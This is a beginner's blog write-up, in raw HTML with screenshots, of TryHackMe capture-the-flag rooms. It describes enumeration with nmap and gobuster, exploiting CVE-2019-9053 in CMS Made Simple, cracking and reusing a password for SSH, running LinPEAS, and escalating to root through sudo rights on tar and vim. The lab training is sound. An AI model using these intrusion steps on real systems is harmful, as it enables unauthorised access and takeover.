href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcBI3ZKJG8DxwV1Ox8onASRzaDRfNZx6JPXOylKIGxXtwTCU7mGjT7NcdfHroai03wkUMnyxt_z9acH3jBEnDmtTPdYHlRw1xmUS0AhbKgTSJVOPKhMJZzBxWG8FsEyiiq5RZqZ8q_V40N/s334/31-20-45_1635731127.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="91" data-original-width="334" height="87" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcBI3ZKJG8DxwV1Ox8onASRzaDRfNZx6JPXOylKIGxXtwTCU7mGjT7NcdfHroai03wkUMnyxt_z9acH3jBEnDmtTPdYHlRw1xmUS0AhbKgTSJVOPKhMJZzBxWG8FsEyiiq5RZqZ8q_V40N/s320/31-20-45_1635731127.png" width="320" /></a></div><p>Easy Peasy! Onto Privilege Escalation.</p><h2 style="text-align: left;">Privilege Escalation<br /></h2><p>Well, let's take a peek at our sudo abilities. I don't want to make the same mistake as last time.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFkaFmki3rgk93L6QQ5s2Xsxxek3Yhapk0SWqZt6dqGgYoPW6hbv2BmFKKkncj0rnjItdfjS_j1hL0OvXjI7VFdEE89T8Q0HDjnrMF_qgFeep9dj4CK3aEbrbEOV3eGWB-yhz_EbIJe7zu/s761/31-20-46_1635731191.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="126" data-original-width="761" height="53" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFkaFmki3rgk93L6QQ5s2Xsxxek3Yhapk0SWqZt6dqGgYoPW6hbv2BmFKKkncj0rnjItdfjS_j1hL0OvXjI7VFdEE89T8Q0HDjnrMF_qgFeep9dj4CK3aEbrbEOV3eGWB-yhz_EbIJe7zu/s320/31-20-46_1635731191.png" width="320" /></a></div><p>Well that paid off. We have sudo for root over the tar binary. Let's head to GTFOBins.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPvfqWZMWjLS33GTPWs84MMOV202n7bg74H2G975KfuQJUDdWfOZoFdySPuy2Jdg3mUdAzaPEl_s43sq7S194uGF1BuqVDEmC93Ti1krxvtNa6-5Jd4vuLY8W-WhwMkF7nw3MX8H62xhb3/s886/31-20-47_1635731249.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="216" data-original-width="886" height="78" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPvfqWZMWjLS33GTPWs84MMOV202n7bg74H2G975KfuQJUDdWfOZoFdySPuy2Jdg3mUdAzaPEl_s43sq7S194uGF1BuqVDEmC93Ti1krxvtNa6-5Jd4vuLY8W-WhwMkF7nw3MX8H62xhb3/s320/31-20-47_1635731249.png" width="320" /></a></div><p>Success: <a href="https://gtfobins.github.io/gtfobins/tar/#sudo">https://gtfobins.github.io/gtfobins/tar/#sudo</a> Let's run it.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrQq_jmzo0u8jsHBUrf5Riu_uERW04m_KXZJt9iundjXiHxEg-81Iv7OjdYDTxw0n15kyH8f3P4q1PCn0h0Ar-i97JgZmEIeivCUAQaZ2X4XzjsPZu0EyeAO1ZTNI933tZYDghDbDGcBtu/s915/31-20-47_1635731276.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="115" data-original-width="915" height="40" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrQq_jmzo0u8jsHBUrf5Riu_uERW04m_KXZJt9iundjXiHxEg-81Iv7OjdYDTxw0n15kyH8f3P4q1PCn0h0Ar-i97JgZmEIeivCUAQaZ2X4XzjsPZu0EyeAO1ZTNI933tZYDghDbDGcBtu/s320/31-20-47_1635731276.png" width="320" /></a></div><p>Success! We have rooted the box. Let's find our last flag.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWUSjIUho9UQkcvSrJ4ovjgm-ewx03sdpzVPkFztIKtyJZBFnI1ztU8IsltGQz4NNr5UYV7wygCE8JgA7jT-hKHcwGh6RBy5JE2QSXvKkcRdu25Xni1VMGXukMaz1BNPRbMCqrVBdKkf-b/s791/31-20-48_1635731315.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="164" data-original-width="791" height="66" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWUSjIUho9UQkcvSrJ4ovjgm-ewx03sdpzVPkFztIKtyJZBFnI1ztU8IsltGQz4NNr5UYV7wygCE8JgA7jT-hKHcwGh6RBy5JE2QSXvKkcRdu25Xni1VMGXukMaz1BNPRbMCqrVBdKkf-b/s320/31-20-48_1635731315.png" width="320" /></a></div><p>Man this is the best! I'm thoroughly enjoying myself.</p>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-31107075495047924122021-10-29T23:09:00.001-04:002021-10-29T23:09:33.451-04:00TryHackMe - Simple CTF Room<p> Wow! Just wow! I finished my first CTF yesterday, and before you know it, I have finished another one! Let's do a writeup on the <a href="https://tryhackme.com/room/easyctf" target="_blank">Simple CTF</a> room.</p><h2 style="text-align: left;">Reconnaissance</h2><p></p><p></p><p></p><p></p><p></p><p>Let's check the IP and see if there's a website there<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpez4A6INWOas4urkkldBNi2gvvxtFsX7Mh2ant0iXtcN1YKqa61SfjGkIkHGAStEaaV-CgeVkmN71ah_2F3QBqrWP2hHvaSaWuc6PBXrWZaqB6pcRai0OdM4qZvEdexWTUfQw6qzM5qDf/s1004/29-09-44_1635518675.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="633" data-original-width="1004" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpez4A6INWOas4urkkldBNi2gvvxtFsX7Mh2ant0iXtcN1YKqa61SfjGkIkHGAStEaaV-CgeVkmN71ah_2F3QBqrWP2hHvaSaWuc6PBXrWZaqB6pcRai0OdM4qZvEdexWTUfQw6qzM5qDf/s320/29-09-44_1635518675.png" width="320" /></a></div><p></p><p>Sweet. Looks like we have an Apache 2 Server running on Ubuntu. I think I can find the version number on this page, but I'm going to be lazy and check the error message for the version number.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqemw04rpPkPPoXAt5s3yGGwu8wjo6CnGMnOA8FvANTe1gZLR68wLP-ATOUeTgsxjp6zqcaX9IaZ-2fvO3OxGOyDrD8OgmI-5Z5RXJJaWBnrcppEqg-Ux3RTyOFOSAmw8-KhIHbHiyR9if/s998/29-09-43_1635518630.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="291" data-original-width="998" height="93" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqemw04rpPkPPoXAt5s3yGGwu8wjo6CnGMnOA8FvANTe1gZLR68wLP-ATOUeTgsxjp6zqcaX9IaZ-2fvO3OxGOyDrD8OgmI-5Z5RXJJaWBnrcppEqg-Ux3RTyOFOSAmw8-KhIHbHiyR9if/s320/29-09-43_1635518630.png" width="320" /></a></div><p>Sweet, we know it's version 2.4.18. Well' that's all we can do without starting to enumerate. Let's move on.</p><h2 style="text-align: left;">Enumeration</h2><p style="text-align: left;">We start with nmap as per usual. <br /></p><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3hfRi6k9mYhgfiV821FqLuquVTboJkqxZkmADjqmdQbLzjE_yyKC2V-j1WS0JKUPYMIe1RJm8lQuzjgjieVyo9yWOubjdQYKhsBXLZpDnXwj_89i8KwRQ9QmrlFaWOroUo9IOThwl6PdC/s611/29-09-45_1635518749.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="281" data-original-width="611" height="147" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3hfRi6k9mYhgfiV821FqLuquVTboJkqxZkmADjqmdQbLzjE_yyKC2V-j1WS0JKUPYMIe1RJm8lQuzjgjieVyo9yWOubjdQYKhsBXLZpDnXwj_89i8KwRQ9QmrlFaWOroUo9IOThwl6PdC/s320/29-09-45_1635518749.png" width="320" /></a></div><p> </p><p>Well, that answers the first 2 questions in the room. ssh is running on the port above 1000, and there's 2 services running below port 1000. SSH is running on 2222 instead of the standard port 22. We should remember that in case we get the opportunity to ssh into the box later.</p><p>Well, ftp is open. Port 21 is ftp, not SFTP (usually runs on the same port as ssh). So that may be an insecure version. Let's run the nmap script to log into the FTP server anonymously just to check if we can do that.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqYDAieliYF7bcZ_7wZxFfXkxyu4jV2XTunTqfTRMW332OdxEj5bywclhDQRlQ5cuJKyKGge1xmP9UmjYujaMDpumVkGxaUEb-ADJ9slh4a23Hnu9EEUvUbbEL_8BjR0C5DuDGlsXGSVUw/s519/29-09-49_1635518984.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="216" data-original-width="519" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqYDAieliYF7bcZ_7wZxFfXkxyu4jV2XTunTqfTRMW332OdxEj5bywclhDQRlQ5cuJKyKGge1xmP9UmjYujaMDpumVkGxaUEb-ADJ9slh4a23Hnu9EEUvUbbEL_8BjR0C5DuDGlsXGSVUw/s320/29-09-49_1635518984.png" width="320" /></a></div><p></p><p>Darn. No luck there. Meh, no worries. Let's keep looking. Since we know there's an apache HTTP server, let's run gobuster and check for subdirectories. Maybe there's something here after all.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii7xcXxwRFCNmEw88_Q2NP1yi-OXR-vyGh1XWjDdLEINNp5UvNWr01RPFPN6CQnWXG31es_Rf89Y-SZ6XcozcgVKPur2BSwJmn5sGEfdOPpNFz35X5C_Shu2wlgg9VHhf2kwKetnciCZK2/s608/29-09-59_1635519566.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="403" data-original-width="608" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii7xcXxwRFCNmEw88_Q2NP1yi-OXR-vyGh1XWjDdLEINNp5UvNWr01RPFPN6CQnWXG31es_Rf89Y-SZ6XcozcgVKPur2BSwJmn5sGEfdOPpNFz35X5C_Shu2wlgg9VHhf2kwKetnciCZK2/s320/29-09-59_1635519566.png" width="320" /></a></div><p></p><p>I'll be honest, I spent time searching through robots.txt and server-status, but those are standard pages. The page I should've looked at first was <span style="font-family: courier;">/simple</span>.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFyUAGiizzmiQ0gkA7Zq_rTQ_ybyzFkuuma8g5_3F9LkvOdZrFCiA-vZLXHeyLvs4SnDMHbD7rP2Dgb9AxnvZNZ6elCfWg51mSxDCKUZN1oBXBGUTHVgNjZvtLO4CkoIe2bIIm8FrJq-sC/s1118/29-10-00_1635519650.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="748" data-original-width="1118" height="214" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFyUAGiizzmiQ0gkA7Zq_rTQ_ybyzFkuuma8g5_3F9LkvOdZrFCiA-vZLXHeyLvs4SnDMHbD7rP2Dgb9AxnvZNZ6elCfWg51mSxDCKUZN1oBXBGUTHVgNjZvtLO4CkoIe2bIIm8FrJq-sC/s320/29-10-00_1635519650.png" width="320" /></a></div><p> Cool, a default website. Let's scroll down and check the version number.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg01Qj6vBaVSgtcJIA_EMclPDCPw3ff5seQiN6z1OD8lviMNOZfRAUVzzAtHsGNwJL27V10o2o0kknGSz6iEKDuV53uLwLu9uplk-AL72XjF_-s5QNW7_JnLermmO3scTYA8FoxNw-b8rN1/s359/29-11-26_1635524814.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="146" data-original-width="359" height="130" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg01Qj6vBaVSgtcJIA_EMclPDCPw3ff5seQiN6z1OD8lviMNOZfRAUVzzAtHsGNwJL27V10o2o0kknGSz6iEKDuV53uLwLu9uplk-AL72XjF_-s5QNW7_JnLermmO3scTYA8FoxNw-b8rN1/s320/29-11-26_1635524814.png" width="320" /></a></div><p>Awesome. CMS Made Simple 2.2.8 Let's plug that into a google search along with CVE to look for vulnerabilities.</p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-Qr-n7Gwo8bPJvbwUNgp8B2H2S19n7RwWsHu4-dA0T1okoVS7ILMC3K8939f4nrr89dGtns7N1-mI2H8lTfXbn2XgkMdeFW9yJiIzMqdcrs8hFbgv9NNaERRMkgdyrW-y99E9Y7kNa3G4/s1124/29-10-29_1635521383.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="699" data-original-width="1124" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-Qr-n7Gwo8bPJvbwUNgp8B2H2S19n7RwWsHu4-dA0T1okoVS7ILMC3K8939f4nrr89dGtns7N1-mI2H8lTfXbn2XgkMdeFW9yJiIzMqdcrs8hFbgv9NNaERRMkgdyrW-y99E9Y7kNa3G4/s320/29-10-29_1635521383.png" width="320" /></a></div><p>Jackpot <a href="https://www.exploit-db.com/exploits/46635">https://www.exploit-db.com/exploits/46635</a>. Before we dig in, let's take a look at what else this CMS has to offer with another round of gobuster. This might pay off later, who knows.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyygcoTZZVM8pop-nvxEeOmt0k5ZHd58gyr4QFuC-O4k_xj3NlH5jAM5jmdWUR6AcRoxMus7HW8gNXKnaLUyKQPtw-F5lr3HhYyFDUcsbe6R7QWB_XNBnpyylAqCN2bj-NadRFLuTW8QCI/s640/29-10-10_1635520256.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="613" data-original-width="640" height="307" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyygcoTZZVM8pop-nvxEeOmt0k5ZHd58gyr4QFuC-O4k_xj3NlH5jAM5jmdWUR6AcRoxMus7HW8gNXKnaLUyKQPtw-F5lr3HhYyFDUcsbe6R7QWB_XNBnpyylAqCN2bj-NadRFLuTW8QCI/s320/29-10-10_1635520256.png" width="320" /></a></div><p>I'll tell you I went down this rabbit hole a bit. These are definitely other potential vulnerabilites, but we had a bird in the hand which is worth more than two in the bush.</p><p>If we go back to the room, we actually find that CVE-2019-9053 (the one we found earlier) is the answer to the next question. It is a sqli (sql injection) vulnerability, which is the answer to the question after that. Well, we found a vulnerability. We could enumerate further, but let's move on since the room clearly is intended for us to go this route.<br /></p><h2 style="text-align: left;">Exploitation</h2><p>I pulled down the script from the vulnerability page and dropped it into a text file and saved it as <span style="font-family: courier;">cve-2019-9053.py</span>. I don't know if there's a better way that the professionals do it, but that's what I did. I tried to run it and ran into some issues. Turns out it has some python dependencies. Kali doesn't even come with pip installed, so I had to install it, then the dependencies.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAH9ZesDMa3qHeFNHNpkdHxDGOJ5FLzt2ORdslaU7x_YzSLh18kSjGO2Zd7j36TPdy14-LbtxB6jBf94fbRuN0yceHqhO8WCM7faAagDbV-aK8npL1d795hnuqOLPce53Cbw_yyzWlEqbj/s609/29-10-31_1635521487.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="48" data-original-width="609" height="25" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAH9ZesDMa3qHeFNHNpkdHxDGOJ5FLzt2ORdslaU7x_YzSLh18kSjGO2Zd7j36TPdy14-LbtxB6jBf94fbRuN0yceHqhO8WCM7faAagDbV-aK8npL1d795hnuqOLPce53Cbw_yyzWlEqbj/s320/29-10-31_1635521487.png" width="320" /></a></div><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1eg1Z6ff2-xZMoIpvTjhG64Y65savcp-XobHqOdt-GLxu5s0LQR0NcjM1L8iqOiko_Fsg2NotX39XSm7lTzxFaqX1S1yx9FLPfkQRQP6wViXyXuyL1A0gvhLot7QHVRYOOW3b2su3QV24/s509/29-10-32_1635521522.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="48" data-original-width="509" height="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1eg1Z6ff2-xZMoIpvTjhG64Y65savcp-XobHqOdt-GLxu5s0LQR0NcjM1L8iqOiko_Fsg2NotX39XSm7lTzxFaqX1S1yx9FLPfkQRQP6wViXyXuyL1A0gvhLot7QHVRYOOW3b2su3QV24/s320/29-10-32_1635521522.png" width="320" /></a></div><p></p><p>"What a dumb dependency", I thought as I tried to run the code....crap. It is erroring on print statements that don't have parenthesis around them. This is python2 code. I just did all this for python3, and I can't even find a package for python2-pip since python2 is (as of late 2020) completely obsolete and no longer to be used. Fine, let's upgrade the script to python3.</p><p>I ran <span style="font-family: courier;">pip install 2to3</span>, which I found with a quick <a href="https://docs.python.org/3/library/2to3.html" target="_blank">google</a>. Then I ran it manually from my ./local/bin directory which apparently isn't on PATH on kali. All of this was pretty obvious from the messages in the terminal but I don't have screenshots, sorry. So it ran fine:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdsDAENMoXFdwo2AQdv5QSfZ5ZR6FlUijmtLzco6kKjxjG1Ugl7MYDVS_CJDtEdyaXpZwl3KO0VtlwbfD45L_F0tawGocY-RpylN1OM7aLFh6uzajPJD9R1WSFNRKNjTA7k3peOiIOelys/s621/29-11-39_1635525591.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="246" data-original-width="621" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdsDAENMoXFdwo2AQdv5QSfZ5ZR6FlUijmtLzco6kKjxjG1Ugl7MYDVS_CJDtEdyaXpZwl3KO0VtlwbfD45L_F0tawGocY-RpylN1OM7aLFh6uzajPJD9R1WSFNRKNjTA7k3peOiIOelys/s320/29-11-39_1635525591.png" width="320" /></a></div><br /> Well, not so much. OK, script runs but has issues. I went through the code where there's a couple of notes. There's a comment that you need to tweak the "TIME" variable, so I changed it from 1 to 2 (and later to 3).<br /><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbJUG8XNx25Rc15ZBvbQzp0Yamu3HoKtzM3D7W1Ju6PGr0xk5XX4KpqXzbWafgVgyd141FR8G1SELHA-rp3YnWxnRS93hJsa-GKcVu91ELznLyuwgrjx2xuJzVdotfBnsFBA5UnmKMn6_E/s533/29-11-59_1635526740.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="194" data-original-width="533" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbJUG8XNx25Rc15ZBvbQzp0Yamu3HoKtzM3D7W1Ju6PGr0xk5XX4KpqXzbWafgVgyd141FR8G1SELHA-rp3YnWxnRS93hJsa-GKcVu91ELznLyuwgrjx2xuJzVdotfBnsFBA5UnmKMn6_E/s320/29-11-59_1635526740.png" width="320" /></a></div><p>Well, that's better, but it still doesn't like this "encoded before hashing" stuff. I came across the answer on <a href="https://stackoverflow.com/a/7585378/1178921" target="_blank">stackoverflow</a>.</p>
<pre class="prettyprint python">(str(salt) + word).encode('utf-8')
</pre><p>I tweaked the sline in the script where it tried to hash our passwords from our wordlist and ran it again.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8zHq3iX_yGU1ojLmgh3ekgN7kXtB6bX1FZmiJ0f1uCK-Lw7NQn5iIDDG_5Qz_qEf5kmkjBTgHUGwAy6nzsVbCejkgb2tIHhSlZgwYWn8YRQLmFe3i8o6_VEouDfxwl61ShTkWXnnLrMdG/s1201/29-12-55_1635530124.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="61" data-original-width="1201" height="16" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8zHq3iX_yGU1ojLmgh3ekgN7kXtB6bX1FZmiJ0f1uCK-Lw7NQn5iIDDG_5Qz_qEf5kmkjBTgHUGwAy6nzsVbCejkgb2tIHhSlZgwYWn8YRQLmFe3i8o6_VEouDfxwl61ShTkWXnnLrMdG/s320/29-12-55_1635530124.png" width="320" /></a></div><p>and...</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPbjFdXi-e1r1BXD1s_48xihZu8nWQtXuxcVXgxU4q0t533FmIydxqjka0gcB-X9XYaix7u18gcaZTsOxsW0Rveq6JjTxQjB_Ckk91WECqwvE-bwnpM96GYPOiTmHTxumUNf2D2gdHDD2k/s453/29-13-12_1635531155.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="128" data-original-width="453" height="90" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPbjFdXi-e1r1BXD1s_48xihZu8nWQtXuxcVXgxU4q0t533FmIydxqjka0gcB-X9XYaix7u18gcaZTsOxsW0Rveq6JjTxQjB_Ckk91WECqwvE-bwnpM96GYPOiTmHTxumUNf2D2gdHDD2k/s320/29-13-12_1635531155.png" width="320" /></a></div><p>YAY!!! We did it! We found a login for the website. That's the answer to the next question about the password. Well, people reuse passwords all the time. Let's see if we can use it to ssh into the box.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLUtv4945v3jslM4u3ggff1b3vxfw2S1eQH0vhOjNw_ad-3yFSfoVxfJCQT1SW3wEtQ9XnxVnVC0QMWeenTxsH2cGTTbBZwUuRv7nM0UfLbDSsUMRkNlSWQLE3fwqxChOOk6PvgPvkxyzm/s731/29-13-20_1635531657.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="296" data-original-width="731" height="130" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLUtv4945v3jslM4u3ggff1b3vxfw2S1eQH0vhOjNw_ad-3yFSfoVxfJCQT1SW3wEtQ9XnxVnVC0QMWeenTxsH2cGTTbBZwUuRv7nM0UfLbDSsUMRkNlSWQLE3fwqxChOOk6PvgPvkxyzm/s320/29-13-20_1635531657.png" width="320" /></a></div><p>We sure can! That also answers the next question. We can use that password to ssh. Well, let's see if we can find that user flag.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc56Oj637vVxrm9jAIt1yFHkOO0M-Rh3y0k58zULAGMyW-cJFbLrP7-eOXCiQG1soPqETpRQ6hHy4sQDWJVgGecBzBdw-zEr99z27ZTAZ3VzhHg7XB4ElUfNEe_JVxI7nhTES3qcjHUqUt/s156/29-13-21_1635531692.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="120" data-original-width="156" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc56Oj637vVxrm9jAIt1yFHkOO0M-Rh3y0k58zULAGMyW-cJFbLrP7-eOXCiQG1soPqETpRQ6hHy4sQDWJVgGecBzBdw-zEr99z27ZTAZ3VzhHg7XB4ElUfNEe_JVxI7nhTES3qcjHUqUt/s0/29-13-21_1635531692.png" width="156" /></a></div><p>Easy Peasy. We have finished the exploitation phase! There's a followup question that we can check while we're still this user. Let's do that.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWB51BOCUJkBDfhm0GG8jqbunerv2QwnOimRHuGV4EO_FwMsWYoOtVD43rGAfNe3qLiS0-FnqAWNbwVblhvZ05nQ6evfIzrUp0Jckxj_j4A6L_O6qNxNRsk5QkEX7gV4xuiNAK76drWgkM/s124/29-13-22_1635531730.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="124" height="40" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWB51BOCUJkBDfhm0GG8jqbunerv2QwnOimRHuGV4EO_FwMsWYoOtVD43rGAfNe3qLiS0-FnqAWNbwVblhvZ05nQ6evfIzrUp0Jckxj_j4A6L_O6qNxNRsk5QkEX7gV4xuiNAK76drWgkM/s0/29-13-22_1635531730.png" width="124" /></a></div><p></p><h2 style="text-align: left;">Privilege Escalation</h2><p>So I did a cursory SUID scan just like the one that had worked on the previous box. No dice. Let's break out the big guns. I want <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS" target="_blank">LinPEAS</a>. Sadly, the TryHackMe boxes don't have access to the outside world. So I knew I'd have to download it locally and host it on a temporary server so I could download it on the box. Thankfully this was all explained in the LinPEAS README file.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLuu8Fbyb1syxVSxnPY94Oc5Qz0dJh7gB9r0Hbc91nLzdEraskre8yD9hlNkbgpHG-39xuLU8FaKGfvVUADyzjk9xR49b2fhoM8Gyno0QgHFucm0_wzQf_I72CDeiks_JEeJq2FK5oi2ET/s803/29-13-27_1635532068.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="252" data-original-width="803" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLuu8Fbyb1syxVSxnPY94Oc5Qz0dJh7gB9r0Hbc91nLzdEraskre8yD9hlNkbgpHG-39xuLU8FaKGfvVUADyzjk9xR49b2fhoM8Gyno0QgHFucm0_wzQf_I72CDeiks_JEeJq2FK5oi2ET/s320/29-13-27_1635532068.png" width="320" /></a></div><p>Cool, now to download it on the server. I struggled a bit because CURL didn't exist. So I spun up a real bash shell, which was a nice improvement, but still no CURL. Thankfully <span style="font-family: courier;">wget</span> was still there.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio8-4TJEdFB7KY4agm2p5-Id8EFchrV45gbymGplotI-dchuwpoMnAk-okLwM-jxWEMw1b2TS1OVYn6_O6tnzvMT-ifNL0ylIe4WzXXRrdF4sL_uw5I4ociuVpPMMagTkIwUYw_zdyngfv/s788/29-13-28_1635532088.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="308" data-original-width="788" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio8-4TJEdFB7KY4agm2p5-Id8EFchrV45gbymGplotI-dchuwpoMnAk-okLwM-jxWEMw1b2TS1OVYn6_O6tnzvMT-ifNL0ylIe4WzXXRrdF4sL_uw5I4ociuVpPMMagTkIwUYw_zdyngfv/s320/29-13-28_1635532088.png" width="320" /></a></div><p></p><p>Cool, now to run the script and see what we get. The output is ginormous, and I stopped the script after I found a useful vulnerability, so I'm not going to try to screenshot the whole thing. But this was the highlight:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHDyExA4fF7hyKGDWuAJz-QJLaPUAAeILncxueX62rZjfXUFTVN8AeammgAMktqy_oIiyT5_hFr1d2QyPTt317_mfZCLvX16-NUcn8LTJ9m2t6WrrZAb61jIhbmhmhspTphPhuzLdAk58L/s608/29-13-32_1635532339.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="81" data-original-width="608" height="43" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHDyExA4fF7hyKGDWuAJz-QJLaPUAAeILncxueX62rZjfXUFTVN8AeammgAMktqy_oIiyT5_hFr1d2QyPTt317_mfZCLvX16-NUcn8LTJ9m2t6WrrZAb61jIhbmhmhspTphPhuzLdAk58L/s320/29-13-32_1635532339.png" width="320" /></a></div><p>VIM is a text editor. We shouldn't need root privileges to run a text editor. I'll be honest. I felt really dumb here. I should have just done this:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkrDuY3pAgHHV4LV5pbCjOKtME9GC258Rz_i-CVXMwI1aHAJylHLWuEMha0bOaN5E4HJBZvfvjaq5ft_BdCJV0snHW7cJFELIe2H1oFqcd0FKmSkuI0hf7esPz0Ybj9WErynxjZft2cZ-a/s426/29-13-48_1635533293.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="48" data-original-width="426" height="36" 